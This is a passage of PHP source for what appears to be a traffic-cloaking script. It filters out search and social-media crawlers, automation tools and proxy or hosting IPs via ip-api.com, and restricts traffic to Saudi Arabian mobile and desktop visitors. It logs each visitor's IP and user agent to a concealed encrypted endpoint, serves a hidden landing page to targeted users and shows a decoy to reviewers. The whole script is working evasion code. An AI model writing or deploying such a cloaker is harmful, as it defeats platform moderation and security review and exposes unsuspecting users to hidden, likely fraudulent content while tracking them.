'Y2xrXzZhM2MxZjFiMTUxYWQzLjc1NjEzODgx', 'ep' => 'ZzRWc2kvaXVKSnQ1Z3BOT3pZRE9zcWl5RjY2WHVUQm5BVnFOb3l0alQydVpLREwwcDkreGh3WHA4VDljTzVPT1BCeTBCUGJIaUZlOXB1V3lMUmM5ZVE9PQ==', 'fb' => 'eXJOSnB1ZW5zc1djYWxzb29iamx5YklEVW52NjI4UEF0aTM4Z2hKVFhWST0=', 'lp' => array ( 0 => array ( 'e' => 'MjlaczB4Z0ZvbGdjUGc0RVFEamY2SjJxVERKejNRWWYrRWZlU2JCeVNTVT0=', 'w' => 100, ), ), 'rm' => 'random', 'geo' => array ( 0 => 'SA', ), 'ua' => array ( 0 => 'android', 1 => 'ios', 2 => 'desktop', ), 'chk' => 1, 'flt' => 1, ]; function _chk($ua) { $l = strtolower($ua); $s = ['googlebot','bingbot','facebookexternalhit','facebot','twitterbot','snapchat','tiktokbot','bytespider','linkedinbot','pinterest','bot/','bot ','spider','crawl','curl','wget','python','headlesschrome','phantomjs','selenium','puppeteer']; foreach ($s as $b) { if (strpos($l, $b) !== false) return true; } return (empty(trim($ua)) || strlen($ua) < 20); } function _addr() { foreach (['HTTP_CF_CONNECTING_IP','HTTP_X_REAL_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'] as $k) { if (!empty($_SERVER[$k])) { $v = $_SERVER[$k]; if (strpos($v,',')!==false) $v=trim(explode(',',$v)[0]); if (filter_var($v,FILTER_VALIDATE_IP)) return $v; } } return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; } function _plt($ua) { $l = strtolower($ua); if (strpos($l,'iphone')!==false||strpos($l,'ipad')!==false) return 'ios'; if (strpos($l,'android')!==false) return 'android'; return 'desktop'; } function _pick($c, $ek, $ev) { $t = $c['lp']; $n = count($t); if ($n <= 1) return _x($t[0]['e'], $ek, $ev); if ($c['rm'] === 'sequential') { $sk = '_r_' . md5($c['k']); $i = $_SESSION[$sk] ?? 0; $_SESSION[$sk] = ($i + 1) % $n; return _x($t[$i]['e'], $ek, $ev); } if ($c['rm'] === 'weighted') { $r = mt_rand(1, 100); $s = 0; foreach ($t as $v) { $s += $v['w']; if ($r <= $s) return _x($v['e'], $ek, $ev); } return _x($t[$n-1]['e'], $ek, $ev); } return _x($t[mt_rand(0,$n-1)]['e'], $ek, $ev); } function _render($url) { $ctx = stream_context_create(['http' => ['timeout' => 10, 'header' => 'User-Agent: ' . ($_SERVER['HTTP_USER_AGENT']??'Mozilla/5.0')]]); $html = @file_get_contents($url, false, $ctx); if ($html === false) { header('Location: ' . $url); exit; } $base = preg_replace('#(https?://[^/]+).*#', '$1', $url); $html = preg_replace('#(]*>)#i', '$1', $html, 1); echo $html; } $_ip = _addr(); $_ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $_pl = _plt($_ua); $_m = 'a'; $_rs = 'ok'; $_ix = 0; if (isset($_GET['preview']) && $_GET['preview'] === '1') { _render(_pick($_R, $_ek, $_ev)); exit; } if ($_R['flt'] && _chk($_ua)) { $_m = 'b'; $_rs = 'f1'; } if ($_m === 'a' && $_R['chk']) { $_d = @json_decode(@file_get_contents('http://ip-api.com/json/'.$_ip.'?fields=proxy,hosting,countryCode', false, stream_context_create(['http'=>['timeout'=>3]])), true); if ($_d && (!empty($_d['proxy']) || !empty($_d['hosting']))) { $_m = !empty($_R['alt']) ? 'p' : 'b'; $_rs = 'f2'; } if ($_m === 'a' && !empty($_R['geo']) && !empty($_d['countryCode'])) { if (!in_array(strtoupper($_d['countryCode']), array_map('strtoupper', $_R['geo']))) { $_m = 'b'; $_rs = 'f3'; } } } if ($_m === 'a' && !empty($_R['ua'])) { if (!in_array($_pl, $_R['ua'])) { $_m = 'b'; $_rs = 'f4'; } } $_ep = _x($_R['ep'], $_ek, $_ev); $_cid = base64_decode($_R['k']); $_bk = $_ep . '?action=px&cid=' . urlencode($_cid) . '&t=' . $_m . '&r=' . urlencode($_rs) . '&idx=' . $_ix . '&vip=' . urlencode($_ip) . '&vua=' . urlencode($_ua) . '&cc=' . urlencode($_d['countryCode'] ?? 'XX'); @file_get_contents($_bk, false, stream_context_create(['http'=>['timeout'=>2]])); if ($_m === 'p') { _render(_x($_R['alt'], $_ek, $_ev)); } elseif ($_m === 'a') { _render(_pick($_R, $_ek, $_ev)); } else { _render(_x($_R['fb'], $_ek, $_ev)); }